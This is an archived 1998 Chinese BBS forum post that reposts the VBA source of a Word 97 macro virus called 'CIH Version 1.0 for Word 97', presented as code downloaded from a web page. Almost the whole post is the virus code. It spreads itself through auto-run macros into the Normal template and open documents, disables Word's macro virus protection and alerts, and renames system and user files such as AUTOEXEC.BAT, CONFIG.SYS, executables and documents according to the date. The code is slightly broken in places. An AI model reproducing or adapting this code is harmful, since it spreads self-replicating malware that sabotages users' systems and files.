精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 电脑病毒>>☆反病毒技术论坛☆>>CIH Version 1.0 Word97 原码 (转)

主题:CIH Version 1.0 Word97 原码 (转)
发信人: Wwashington()
整理人: jia(1998-08-12 13:09:08), 站内信件
发信人: [email protected] (相遇相知相惜相伴), 信区: virus
标  题: 发现新的巨集病毒-CIH Version 1.0 for Word 97
发信站: 中兴法商北极星 (Mon Jun 15 09:06:57 1998)
转信站: dragon!feeder.seed.net.tw!spring!news.csie.ncu!news.ncu!news.nctu!news.

这是在网页上下载到的原始病毒程式码

Global Const Virus = "CIH Version 1.0 for Word 97"
Global Const SPI_SCREENSAVERRUNNING = 97
Global Const CONFIG = "C:\CONFIG.SYS"
Global Const AUTOEXEC = "C:\AUTOEXEC.BAT"
Global Const WININI = "\WIN.INI"
Global Const SYSTEMINI = "\SYSTEM.INI"
Global Const DEFRAGEXE = "\DEFRAG.EXE"
Global Const MaxOutPut = 300
Global Founds() As String

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDir
ectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirec
toryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParamete
rsInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fu
WinIni As Long) As Long

Sub AutoOpen()
    If InputBox("Password:", Virus) = "xswcdevfr" Then
    If InputBox("Password:", Virus) = "xswcdevfr" Then
        Exit Sub
    End If
    Initial
    On Error Resume Next
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If Not ActiveDocument.VBProject.VBComponents(I).Name = "CIH" Then
            Application.OrganizerCopy Source:=NormalTemplate.FullName, Destinati
on:=ActiveDocument.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
            ActiveDocument.SaveAs Filename:=ActiveDocument.Name, FileFormat:=wdF
ormatTemplate
        End If
    Next
    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If Not NormalTemplate.VBProject.VBComponents(J).Name = "CIH" Then
           Application.OrganizerCopy Source:=ActiveDocument.FullName, Destinatio
n:=NormalTemplate.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
           Options.SaveNormalPrompt = False
        End If
    Next J
End Sub

Sub AutoExit()
    If InputBox("Password:", Virus) = "xswcdevfr" Then
        Exit Sub
    End If
    Initial
    On Error Resume Next
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If Not ActiveDocument.VBProject.VBComponents(I).Name = "CIH" Then
            Application.OrganizerCopy Source:=NormalTemplate.FullName, Destinati
on:=ActiveDocument.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
            ActiveDocument.SaveAs Filename:=ActiveDocument.Name, FileFormat:=wdF
ormatTemplate
        End If
    Next
    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If Not NormalTemplate.VBProject.VBComponents(J).Name = "CIH" Then
           Application.OrganizerCopy Source:=ActiveDocument.FullName, Destinatio
n:=NormalTemplate.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
           Options.SaveNormalPrompt = False
        End If
    Next J
End Sub
Sub AutoClose()
    If InputBox("Password:", Virus) = "xswcdevfr" Then
        Exit Sub
    End If
    Initial
    On Error Resume Next
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If Not ActiveDocument.VBProject.VBComponents(I).Name = "CIH" Then
            Application.OrganizerCopy Source:=NormalTemplate.FullName, Destinati
on:=ActiveDocument.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
            ActiveDocument.SaveAs Filename:=ActiveDocument.Name, FileFormat:=wdF
ormatTemplate
        End If
    Next
    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If Not NormalTemplate.VBProject.VBComponents(J).Name = "CIH" Then
           Application.OrganizerCopy Source:=ActiveDocument.FullName, Destinatio
n:=NormalTemplate.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
           Options.SaveNormalPrompt = False
        End If
    Next J
End Sub

Sub Initial()
    Dim pOld As Boolean, App As Application
    Call SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, pOld, 0)
    Set App = Application
    With App
        .ScreenUpdating = False
        .DisplayAlerts = wdAlertsNone
    End With
    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False
    Rename AUTOEXEC
    Rename CONFIG
    Rename DEFRAGEXE
    Select Case Day(Now)
        Case 1 To 2
            Rename "a*.*"
            Rename "c*.*"
            Rename "p*.*"
        Case 3 To 10
            Rename "*.COM"
        Case 11 To 20
            Rename "*.EXE"
        Case 21 To 24
            Rename "*.DLL"
        Case 25 To 27
            Rename "*.DOC"
        Case Else
            Rename "*.TXT"
    End Select
End Sub

--
※ 来源:.广州网易 BBS bbs.nease.net.[FROM: news.foshan.gd.]

[关闭][返回]